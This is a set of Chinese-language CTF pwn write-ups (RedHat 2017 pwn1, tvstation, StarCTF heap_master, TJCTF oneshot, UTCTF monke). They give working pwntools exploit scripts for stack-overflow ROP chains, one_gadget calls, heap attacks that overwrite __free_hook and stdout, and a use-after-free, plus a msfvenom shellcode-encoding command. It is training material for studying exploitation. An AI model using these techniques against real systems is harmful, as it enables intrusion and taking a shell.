RedHat 2017-pwn1

1.常规 checksec查看一下,发现开启了NX,IDA打开程序找漏洞,变量V1的首地址为bp-28h,即变量在栈上。而之后还有__isoc99_scanf不限制长度的函数,所以输入会导致栈溢出。这样就可以寻找system和”bin/sh”来getshell了。

1
2
3
4
5
#注释头

int v1; // [esp+18h] [ebp-28h]
----------------------------------------------------------
__isoc99_scanf("%s", &v1);

2.首先ctrl+s看看.got.plt中有没有system函数,这里有。找到system函数后,再寻找”/bin/sh”,但是找不到,所以考虑从__isoc99_scanf来读取”/bin/sh”来写入到内存进程中。

3.接下来考虑字符串”/bin/sh”应该放到哪里,因为可能会有ASLR(地址随机化)的影响,所以最好找个可以固定的内存地址来存放数据。ctrl+s查看内存页后可以看到有个0x0804a030开始的可读可写的大于8字节的地址,且该地址不受ASLR影响,所以可以考虑把字符串读到这里。(可以看到有R和W权限,但我也不知道怎么看该地址受不受到ASLR的影响,可以按照以前的做法,这里可以将该地址修改为某个extern段的地址,因为延迟绑定之后,这个段中的内容就基本没用了,这里选择这个段上的某个地址一样可以getshell,我选的是0x0804A050。)

4.既然程序读取用的是__isoc99_scanf,那么参数”%s”也得找到,容易找到位于0x08048629。

5.先编写rop链测试一下:

1
2
3
4
5
6
7
8
9
10
11
#注释头

elf = ELF('./pwn1')#rop链必备,用于打开plt和got表来获取函数地址
scanf_addr = p32(elf.symbols['__isoc99_scanf'])#获取scanf的地址
format_s = p32(0x08048629)#这是我们scanf赋予”%s”的地址
binsh_addr = p32(0x0804a030)#bin/sh保存的地址

shellcode = ‘A’*0x34 + scanf_addr + format_s + binsh_addr
print io.read()
#读取puts("pwn test")的输出,以便继续执行。io.recv()一样可以,具体用法再做参考
io.sendline(shellcode1)#第一次scanf输入shellcode1

这里”A”*0x34有点不一样,我们可以看到在该函数中声明的局部变量v1距离栈底有0x28,那么main函数的返回地址应该是0x28+0x04=0x2c才对。但是实际上,由于程序最开始的动态链接,是从start开始初始化main函数栈的,所以经过start函数会给main函数栈上压入两个全局偏移量。通过调试也可以看到,输入AAAA,位于FFFDF568,加上0x28应该等于FFFDF590,但是这里却不是ebp,得再加上两个0x04才是ebp的位置。这是因为在程序运行起来的延迟绑定的关系,压入栈的是全局偏移。不过不用管,没啥用,这里直接再加上两个0x04就好了,通过调试也可以调试出来。而且查汇编代码,发现寻址方式是通过esp寻址,也就是[esp+18h],FFFDF550+0x18=FFFDF568,也就是我们输入的地方。

img

6.程序运行到这没什么问题,但是接着运行下去从由于我们覆盖的是main函数的返回地址,让main返回地址返回到scanf中,执行的是return命令。而再次进入到scanf函数中之后,执行:io.sendline(“/bin/sh”)。发现binsh并没有被读入到binsh_addr中,这是因为scanf读取输入时的汇编操作如下:假设为scanf(“%s”,&v1);

1
2
3
4
5
#注释头

push v1
push %s
push eip

栈的分布如下:

1
2
3
4
5
6
7
8
#注释头

栈顶
scanf返回地址 ---esp +1
scanf第一个格式化参数%s ---esp+2
scanf第二个输入进的参数&v1 ---esp+3

执行时是取esp +2,esp+3

而我们直接return scanf的栈分布如下:

1
2
3
4
5
#注释头

scanf 第一个格式化参数%s ---p32(format_s) ---esp+1
scanf第二个输入进的参数&v1 ---p32(binsh_addr) --esp+2
执行时是取esp+2,esp+3

scanf在执行过程中,由于我们没有将scanf的返回地址压入栈中,所以第一个读取的是esp+2,将我们需要输入的binsh的地址当作了格式化参数%s来读取,发生错误。之后scanf也没办法正常返回

8.所以我们用main函数的return来调用scanf时,需要给栈布置一个scanf的返回地址,否则scanf执行过程中会读取参数发生错误,不能正常读取和返回。

9.那么第一次的shellcode顺序应该是‘A’*0x34 + scanf_addr + scanf_returnaddr + format_s + binsh_addr。

1
2
3
4
5
6
7
#注释头

shellcode1 = 'A'*0x34 #padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += scanf_retn_addr # scanf返回地址
shellcode1 += format_s # scanf参数
shellcode1 += binsh_addr # "/bin/sh"字符串所在地址

之后大多有两种解决方案:

▲第一种:将scanf返回到main,再次执行栈溢出:

也就是将scanf的返回地址设置为main函数的地址,scanf出来之后,回到mian中之后,第二次的shellcode应该是’A’0x2c +system_addr + system_ret_addr + binsh_addr。这里的system_addr和上述的scanf中是一样的,都是为了防止函数读取参数发生错误从而无法正常执行。但是这里的system_ret_addr可以随便填,因为我们并不需要返回system,进入到system之后执行binsh就能getshell了。而’A’2c是因为栈的状态发生了改变,所以需要重新计算一下。因为再次进入main函数构造出来的Main函数栈应该是0x40,而不是之前0x48这么大了,没有经过start函数初始化main函数栈,不存在压入的全局偏移,系统只是将这次的main函数当作一个普通的函数来构造栈。

所以这一次我们输入的内容距离栈底就确实只有0x28这么远了,那么计算一下0x28+0x04=0x2c,所以这一次的padding就是0x2c。

1
2
3
4
5
6
#注释头

shellcode2 = 'B'*0x2c #padding
shellcode2 += system_addr #跳转到system函数以执行system("/bin/sh")
shellcode2 += main_addr # system函数返回地址,随便填
shellcode2 += binsh_addr #system函数的参数

▲第二种:将scanf的返回地址拿来做文章,通过rop将esp直接下拉两个0x04到达我们输入的system,然后在从之后的地方读取binsh字符串,一次payload直接搞定:

img

通过汇编代码可以看到,调用scanf时的栈状态应该跟下图一样:

img

所以我们scanf函数返回时esp应该还是指向的format参数地址才对,那么为了将esp下拉两个0x04,到达输入的system函数地址,就需要两个Pop操作,这里通过ROPgadget可以查出来,或者直接从init什么的初始化段中找万能gadget,同样存在多个Pop操作。那么这样的化就只有一次payload,所以总的payload就应该是:

1
2
3
4
5
6
7
8
9
#注释头

shellcode1 = 'A'*0x34 #padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += pop_pop_ret_addr# scanf返回后到两个Pop操作处
shellcode1 += format_s # scanf参数
shellcode1 += binsh_addr #作为scanf的参数读取binsh字符串
shellcode1 += system_addr # "/bin/sh"字符串所在地址
shellcode1 += binsh_addr #作为system的参数getshell

▲这里再给出第三种方案,也比较容易理解

这个方案是基于第一种的,覆盖scanf返回地址为start函数,这样main函数栈又重新初始化,相当重新执行一次程序,那么第二次的shellcode的padding字符个数还是0x34个A,之后就常规覆盖eip跳转system函数getshell了。但是这里直接写start函数的首地址会出错,因为这里的start首地址为0x08048420,末尾为20,转化成字符串就是空格。而读入我们输入的又是scanf,scanf不支持空格录入,所以遇到空格就会发生截断,导致读不进去。而这里又是因为大端序,如果发生0x08048420,那么先发送的字符是0x20,也就是空格,那么就直接截断,之后所有数据都读不了了。所以这里如果需要传入start函数,则将start函数下拉两个字节,传入0x08048422。看汇编代码:

img

start函数体的第一条汇编指令是xor ebp,ebp。异或操作,就是将ebp清理好初始化而已,啥用也没有,所以可以直接跳过,到pop esi就行。具体代码就是将第一种方案的种第一段shellcode的main_addr改成start_addr+0x02,然后偏移都是0x34就行。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://www.cnblogs.com/sweetbaby/p/14148625.html

Shellcode汇总

一、shellcode的查找和获取:

二、shellcode的编码:

示例:

1
2
3
#注释头

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
  • ’import sys; sys.stdout.write(“shellcode”)’:这是导入包之后写入编码的shellcode。

  • 由于msfvenom只能从stdin中读取,所以使用Linux管道符”|”来使得shellcode作为python程序的输出。

  • 此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

  • Shellcode的执行条件一般都是call Register,这里的BufferRegister设置是因为通过指令call eax调用shellcode,所以配置BufferRegister=EAX。最后即可在payload中看到对应的被编码后的代码。

三、shellcode的两段执行:

  • 需要泄露RWX段的地址,读取泄露地址:

  • 需要跳转jmp命令或者是return/call,但是return会pop eip,call会push eip,都会修改掉栈中的内容。如果shellcode的两段执行计算偏移地址的话,可能需要将这两个内容也计算进入。但是jmp就不会需要,是直接无条件跳转,所以大多时候选择jmp比较好。

Security Fest CTF 2016-tvstation

1.题目给了libc库,需要查看一下版本,直接拖到Linux中运行一下./libc.so.6_x64,就可以知道是libc2.24的,但Linux中的libc没有该版本,所以用pwndocker来连接运行。具体怎么用看下方链接,同样docker也自行学习。

https://github.com/skysider/pwndocker

如果需要使用到这个libc调试,则在python中设置下列代码:

1
2
3
#注释头

io = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './tvstation'], env={"LD_PRELOAD":"./libc.so.6_x64"})

2.然后开始分析文件,常规checksec,开了NX,IDA打开文件找漏洞,发现输入4进入debug函数后可以泄露system的内存地址:

1
2
3
4
5
6
#注释头

v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "system");
sprintf(fmsg, info, v0);
v1 = strlen(fmsg);
write(1, fmsg, v1);

dlsym()的函数原型是

void* dlsym(void* handle,const char* symbol);

该函数在<dlfcn.h>文件中,handle是由dlopen打开动态链接库后返回的指针,symbol就是要求获取的函数的名称,函数返回值是void*,指向函数的地址,供调用使用。write函数的fd是1,所以就相当于直接打印在屏幕上,这里涉及linux系统调用号内容,可以直接查linux下的目录/usr/include/asm/中的unistd_32.h和unistd_64.h。

这段代码的意思就是把指向system函数的指针返回给v0,然后将v0格式化输出给fmsg,之后将fmsg原封不动打印在屏幕上,第一次看到猜不出来可以直接运行该文件试试呗。之后会进入一个debug_func(),这里存在栈溢出:

1
2
3
4
#注释头

__int64 buf; // [rsp+0h] [rbp-20h]
return read(0, &buf, 0xC8uLL);

3.现在有了system的内存地址和栈溢出,就差/bin/sh字符串了。这里用IDA打开题目给的libc文件,可以找到bin/sh字符串的地址binsh_libc_addr和system的地址system_libc_addr。所以这就相当于有system的被libc加载的真实地址,那么system的真实system_addr减去system_libc_addr就可以得到Libc被加载进来的首地址libc_start_addr。即现掌握地址:libc_start_addr,system_addr,system_libc_addr,binsh_libc_addr通过计算可得:binsh_addr = system_addr - system_libc_addr + binsh_libc_addr。这不是栈溢出有了,system函数和binsh字符串的真实地址有了,这不直接getshell就完事了吗,闹啥呢,这破题目,没点技术含量。

4.但程序还是得走走,64位程序,所以需要使用ROPgadget表来查找pop rdi ; ret这个代码所在的地址,也是在Libc中查找到,然后加上libc_start_addr就可得到pop_rdi_addr。

5.之后计算偏移量,远程调试下进行,payload依次为padding + pop_rdi_addr + binsh_addr + system_addr。

6.再考虑输入情况:先在Linux下运行,所以能看到需要在接收到”: ”时可以输入4,然后进入到打印system_addr,打印完之后,需要从打印出来的system地址读取进我们设定的system_addr。

7.由于打印格式是@x0x7ffffff,所以在recvuntil”@x”,之后开始获取打印的system_addr:system_addr = int(io.recv(12), 16),以十六进制总共读取12位

8.读取完成system_addr后就可以开始输入payload,之后就可以interactive()。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

StarCTF2019_heap_master

这道题学到了很多,特此记录一下。

1.常规checksec一下,保护全开。

2.函数解析:

比较常规的菜单题,这里的add是正常,但是程序最开始mmap一块0x10000大小的chunk,之后的edit和delete都是针对这个最开始mmap出来的chunk。

(1)edit函数:输入偏移,针对m_chunk_addr对应偏移修改。比如m_chunk_addr=0x100,偏移为0x10,修改内容为’M’那么修改内容为*(0x100+0x10) = ‘M’,即*(m_chunk_addr+offset) = change_cont。

img

(2)delete函数:同样输入偏移针对m_chunk_addr对应偏移free,由于没有指针的相关操作,所以这里存在UAF。

img

3.漏洞解析:

(1)由于mmap的数据可以任意伪造和释放,那么我们可以利用这个释放任意大小chunk,在没有办法泄露地址的情况下,我们可以选择进行爆破global_max_fast,利用unsortedbin attack在global_max_fast上写下main_arena地址,使得fastbinY数组可以越界写。

(2)之后再利用释放任意大小的chunk,从main_arena中fastbinY数组越界往后写,修改_IO_2_1_stout结构体的_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end为mmap中放入unsortedbin的堆地址,从而泄露出main_arena地址得到地址。

(3)再利用fastbin的特性,修改fastbinY数组上的chunk的fd为system,申请对应大小的fastbin回来之后,其fd就留在fastbinY数组上,这样如果fastbinY对应的那个索引chunk本身就在free_hook上,那么就可以修改free_hook为system了。这个同样通过fastbinY数组越界写来实现。

(4)最后释放一个/bin/sh堆块即可getshell。

4.exp编写与调试:

(1)首先是菜单函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#注释头

def dbg():
gdb.attach(io)
pause()


def add(size):
io.sendlineafter(">> ", "1")
sleep(0.01)
io.sendlineafter("size: ", str(size))
sleep(0.01)

def edit(offset, cont):
io.sendlineafter(">> ", "2")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)
io.sendlineafter("size: ", str(len(cont)))
sleep(0.01)
io.sendafter("content: ", cont)
sleep(0.01)

def m_edit(offset, cont):
io.sendline("2")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)
io.sendline(str(len(cont)))
sleep(0.01)
io.send(cont)
sleep(0.01)

def delete(offset):
io.sendlineafter(">> ", "3")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)

def m_delete(offset):
io.sendline("3")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)

这里切分m_delete和m_edit的原因是因为在后面第一次修改_IO_write_base之后输出的东西可能就会发生一些变化,不太好接着判断。

(2)修改global_max_fast:

1
2
3
4
5
6
7
8
9
10
11
#注释头

edit(0,p64(0x0)+p64(0x91)+
'0'*0x80+
p64(0x0)+p64(0x21)+
'1'*0x10+
p64(0x0)+p64(0x21))
delete(0x10)
guess = 0x9000
edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10) & 0xffff))
add(0x80)

img

(3)fastbinY数组越界写,泄露得到地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#注释头

fastbinsY = guess + libc.sym['main_arena'] + 8
_IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30



# overwrite _IO_2_1_stdout_._IO_write_base
idx = (_IO_write_base - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_ptr
idx = (_IO_write_ptr - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_end
idx = (_IO_write_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_read_end
idx = (_IO_read_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88
log.info("libc_base:0x%x"%libc_base)
__free_hook = libc_base + libc.sym['__free_hook']
fastbinsY = libc_base + libc.sym['main_arena'] + 8
system_addr = libc_base + libc.sym['system']

mmap为0x4a0fe000

img

img

四个均修改过了,这种情况下flag不修改也是可以泄露的。

▲其实这个只写write_base和read_end也可以,只不过会发送特别多的数据过来,打远程的时候很不好打。需要注意的是read_end得最后写。

(4)越界释放chunk到_free_hook,然后修改其fd为system,再申请回来就可以将_free_hook改为system。

1
2
3
4
5
6
7
8
9
10
11
#注释头

# fake fastbin fd to system
idx = (__free_hook - fastbinsY) / 8
size = idx * 0x10 + 0x20
log.info("size:0x%x"%size)
edit(0x10 + 8, p64(size+1))
edit(0x10 + size, p64(0x0)+p64(0x21))
delete(0x10 + 0x10)
edit(0x20, p64(system_addr))
add(size - 0x10)

没有申请回来之前,free_hook上是堆地址,其FD为system

img

申请回来之后,FD被写进free_hook,这是fastbin机制造成的。

img

(5)创建/bin/sh堆块,释放即可getshell:

1
2
3
4
5
#注释头

edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0")
delete(0x200 + 0x10)
io.interactive()

5.总的爆破EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#注释头

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
context.binary = "./heap_master"
libc = ELF(context.binary.libc.path)


def dbg():
gdb.attach(io)
pause()


def add(size):
io.sendlineafter(">> ", "1")
sleep(0.01)
io.sendlineafter("size: ", str(size))
sleep(0.01)

def edit(offset, cont):
io.sendlineafter(">> ", "2")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)
io.sendlineafter("size: ", str(len(cont)))
sleep(0.01)
io.sendafter("content: ", cont)
sleep(0.01)

def m_edit(offset, cont):
io.sendline("2")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)
io.sendline(str(len(cont)))
sleep(0.01)
io.send(cont)
sleep(0.01)

def delete(offset):
io.sendlineafter(">> ", "3")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)

def m_delete(offset):
io.sendline("3")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)

def pwn():
global io
edit(0,p64(0x0)+p64(0x91)+
'0'*0x80+
p64(0x0)+p64(0x21)+
'1'*0x10+
p64(0x0)+p64(0x21))
delete(0x10)
guess = 0x9000
edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10)&0xffff))
add(0x80)


fastbinsY = guess + libc.sym['main_arena'] + 8
_IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30
__free_hook = guess + libc.sym['__free_hook']
_IO_list_all = guess + libc.sym['_IO_list_all']

# overwrite _IO_2_1_stdout_._IO_write_base
idx = (_IO_write_base - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_ptr
idx = (_IO_write_ptr - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)

# overwrite _IO_2_1_stdout_._IO_write_end
idx = (_IO_write_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_read_end
idx = (_IO_read_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)

libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88
log.info("libc_base:0x%x"%libc_base)
__free_hook = libc_base + libc.sym['__free_hook']
fastbinsY = libc_base + libc.sym['main_arena'] + 8
system_addr = libc_base + libc.sym['system']


# fake fastbin fd to system
idx = (__free_hook - fastbinsY) / 8
size = idx * 0x10 + 0x20
log.info("size:0x%x"%size)
edit(0x10 + 8, p64(size+1))
edit(0x10 + size, p64(0x0)+p64(0x21))
delete(0x10 + 0x10)
edit(0x20, p64(system_addr))
#dbg()
add(size - 0x10)
#pause()

edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0")
delete(0x200 + 0x10)

io.interactive()



i = 0
while True:
i += 1
print i
io = process("./heap_master")
try:
pwn()
io.recv(timeout = 1)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
except EOFError:
io.close()
continue
else:
# sleep(0.1)
# io.sendline('/bin/sh\x00')
# sleep(0.1)
# io.interactive() #没有EOFError的话就是爆破成功,可以开shell
break

6.总结:

(1)unsortedbin attack:修改bk任意写main_arena,这里bk通常可以进行部分写来爆破,也常常用来修改global_max_fast,使得fastbinY越界写。

(2)FSOP的利用中,不一定非得修改flag,修改_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end也可以,其中需要满足_IO_read_end等于_IO_write_base来起到flag的作用绕过检查。

(3)fastbinY数组的越界申请,修改其fd可实现任意写,这点和利用fastbinY数组中chunk大小在main_arena中留下0x20~0x80的数据异曲同工。

TJCTF 2016-oneshot

1.常规checksec,只开了NX,然后IDA打开找漏洞。发现找不到什么漏洞,但是有个很奇怪的地方

1
2
3
4
5
6
7
#注释头

__int64 (__fastcall *v4)(const char *); // [rsp+8h] [rbp-8h]
---------------------------------------------------------------------------
__isoc99_scanf("%ld", &v4);
-------------------------------------------------------------------------
return v4("Good luck!");

查看反汇编代码后发现会有这么一串代码,v4是我们输入的东西,却被以函数形式调用。在汇编窗口中看下,发现call puts函数之后的代码形式是这样的。

1
2
3
4
5
6
7
8
#注释头

var_8 = qword ptr -8
--------------------------------------------------------
mov rax, [rbp+var_8]
mov rdx, rax
mov eax, 0
call rdx

也就是把我们输入的保存在var_8里的内容,给了rax,rax又给了rdx,之后call rdx。也就是我们输入的东西最后会被当初代码指令来执行。

2.程序不存在栈溢出,输入只能是4个字节,已经规定好了。%ld代表long int,四个字节,程序又没有一次getshell的后门函数,所以就只能靠这4个字节来getshell。

3.这里考虑使用one gadget RCE来一步getshell,首先在Linux下查找一下题目给的libc中有没有onegadget:

img

4.这样就可以通过一次跳转来getshell,但是第一条有限制条件,由于汇编代码中在call rdx之前有mov eax,0;即rax就等于0。(eax在64位程序下就是rax的低32位)或者先调试看看能不能满足条件,经过调试发现执行到call rdx时rax = 0,也满足要求,那么就尝试写payload。

5.本地中首先需要连接到指定的库文件中,可以先在linux中ldd libc库文件来看题目给的库文件是什么版本,之后修改这段代码让process能够连接到指定版本的libc文件。(利用pwndocker,或者自己下个对应版本的ubuntu—docker,然后安装python之类的)

io = process([‘/glibc/2.24/64/lib/ld-linux-x86-64.so.2’, ‘./tvstation’], env={“LD_PRELOAD”:”./libc.so.6_x64”})

6.由于不知道onegadget被libc加载进入之后是在什么地址,所以现在还需要泄露一个地址,刚好程序中有两个isoc99_scanf,第一个可以用来输入某个函数.got表中onegadget的地址,然后程序会打印出来该函数真实地址,对应代码为:

1
2
3
4
#注释头

__isoc99_scanf("%ld", &v4);
printf("Value: 0x%016lx\n", *(_QWORD *)v4);

但注意输入的格式。由于输入格式为__isoc99_scanf(“%ld”, &v4)中的ld,也就是十进制有符号长整型,(l=long型,d=Decimal也就是十进制)所以我们需要将该地址转化为十进制数然后输入,因为scanf格式规定了,之后打印的格式是%016lx,其中x代表Hexadecimal,也就是16进制,16代表总共输出16位,0代表不足16位则高位补零。(如果不知道可以拿visualstudio测试一下就可以)

7.所以第一次输入应该为某个函数地址对应的十进制,这里选取setbuf函数,因为setbuf函数刚好在.got.plt表中,同时也从外部引用,在extern也有,十六进制地址为:0x600ae0(这里选用puts,printf,甚至__libc_start_main也行,只要满足在.got.plt表中和extern表中)也就是6294240,即io.sendline(“6294240”)。这样就可以打印出setbuf函数被加载进内存的地址,之后获取这个地址,先接收io.recvuntil(“Value: “),使得接下来打印的是setbuf的内存地址,之后使用

setbuf_memory_addr = int(io.recv()[:18], 16)

表示总共接收18个字符,之后以16进制形式转化位int,10进制形式。这里总共应该会打印18个字符,16+0x,也就是18个。

8.之后计算偏移量,得到one_gadget_rce在内存中的地址即可:注意要转化为str字串形式发送

io.sendline(str(setbuf_memory_addr - (setbuf_addr_libc - one_gadget_rce_libc)))

9.最后io.interactive()即可getshell。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

UTCTF赛后复现

这次比赛做了两道题之后就没怎么看了,忙其他的去了。这里主要复现一下另一道题,monke。做这道题的时候估计脑子抽风了,居然没看还有一个隐藏选项在IDA中明明白白地显示着,自己居然没发现,导致啥漏洞都找不出来。

一、MONKE复现:

1.常规IDA,checksec一下,只开了NX。漏洞点在Free模块和隐藏选项:

Free模块

img

隐藏选项:

img

可以看到当free的时候,会对can_eat这个全局变量进行判断:

1
2
3
4
5
6
7
//注释头


can_eat默认为1
------------------------------------------------------------------------------
if ( can_eat )
inventory[edit_idx] = 0LL;

如果为1,则将指针置零,否则就不置零。这样就会造成管理banana的inventory[idx]指针悬空,再加上选项2可以rename修改内容,直接造成UAF漏洞。同时,由于这里是通过结构体inventory来管理banana,结构体如下:

1
2
3
4
5
6
//注释头

00000000 inventory struc ; (sizeof=0x10, mappedto_4)
00000000 banana dq ?
00000008 name_size dq ?
00000010 inventory ends

打印内容的时候是通过inventory[idx]->banana来打印的,所以如果我们可以把banana的指针指向got表,那么就可以打印出got表中函数的真实地址,从而泄露出libc基地址,这样通过libc基地址和UAF漏洞直接劫持free函数,构造system(“/bin/sh”)即可。

▲思考如何将banana指针指向got表:漏洞点同样也在free函数,由于在malloc时会申请一个0x20大小的chunk来存放banana的地址和size,用来管理banana。但是在free的时候却没有free掉这个0x20大小的chunk。

(1)先申请一个0x20大小的banana0,进入隐藏选项,然后free掉,banana0进入tcache中,但是inventory[0]并没有被置0。

(2)再申请一个0x20大小的banana1,将banan0申请回来,这时管理banana1的chunk就变成了banan0,这样就可以通过inventory[0]来修改banan0从而修改管理banan1的chunk,使得原本指向banan1的指针指向free的got表。

(3)之后再通过选项2,就可以打印inventory[0].banana1的内容,也就是free的got表中的真实地址。

2.开始编写exp:

(1)首先泄露基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#注释头

find_banana("a", 4)

#跳转至隐藏选项,将can_eat置零。
walk("0")

#吃掉香蕉,使得banana0进入tcache中,方便之后申请回来,同时inventory[0]没有置零。
eat(0)

#申请banana1,将banana0申请回来,使得管理banana1的chunk变成banana0,方便之后修改。
find_banana("b", 8)

#将*(inventory[0].banana)修改为free的got表
rename(0, p64(elf.got["free"]))
sh.sendline("s")
skip_menu()

# 展示inventory,从inventory[0].banana对应的内存上泄露地址
sh.sendline("2")
sh.recvline()
sh.recvline()
free = u64(sh.recvline()[3:].strip().ljust(8, b"\x00"))

#计算得到libc基地址:
libc.address = free - libc.symbols["free"]
log.info(f"libc base leaked @ 0x{libc.address:x}")

(2)劫持free函数为system函数:

1
2
3
4
5
6
7
8
9
#注释头

#此时inventory[1].banana的值应该是free的got表,那么此时修改
#inventory[1].banana.content就会直接修改free的got表,从而劫持函数
sh.sendline("1")
sh.recvline()
sh.sendline("rename")
sh.recvline()
sh.sendline(p64(libc.symbols["system"]))

(3)再申请一个内容为/bin/sh字符串的chunk,释放掉即可getshell:

1
2
3
4
5
#注释头

find_banana("/bin/sh", 10)
eat(2, True)
sh.interactive()

(4)前置函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#注释头

elf = ELF("./monke")
libc = ELF("./libc-2.27.so")
sh = elf.process()
#sh = remote("pwn.utctf.live", 9999)


def skip_menu():
global sh
sh.recvuntil("2: inventory\n")
return bool(sh.recvline(timeout=0.5))

def walk(where="s"):
global sh
sh.sendline("0")
sh.sendlineafter("[n|s|e|w]", where)
return skip_menu()


def find_banana(name, length):
global sh
while not walk():
pass
sh.sendline("3")
sh.sendlineafter("How long would you like the name to be:", str(length))
sh.sendlineafter("What would you like to name it:", name)
skip_menu()


def eat(idx, end = False):
sh.sendline("2")
sh.recvline()
while bool(sh.recvline(timeout=0.5)):
pass
sh.sendline(str(idx))
sh.recvline()
sh.sendline("eat")
sh.recvline()
if not end:
skip_menu()

def rename(idx, name):
sh.sendline("2")
sh.recvline()
while bool(sh.recvline(timeout=0.5)):
pass
sh.sendline(str(idx))
sh.recvline()
sh.sendline("rename")
sh.recvline()
sh.sendline(name)
skip_menu()

二、functionalprogramming:

1.常规IDA,checksec分析,RELRO没开。程序本身很简单,输入function,parameter和element可以构造一个函数,然后调用。

img

2.然后程序运行过程中会泄露出libc地址和,直接从网站https://libc.blukat.me/来找版本,或者使用其他工具也可以,利用泄露出来的abs函数地址,即可得知libc版本为libc6_2.23-0ubuntu11.2_amd64。

3.然后根据程序,即可构造system(“/bin/sh”),或者利用onegadget也可以,这里直接贴exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
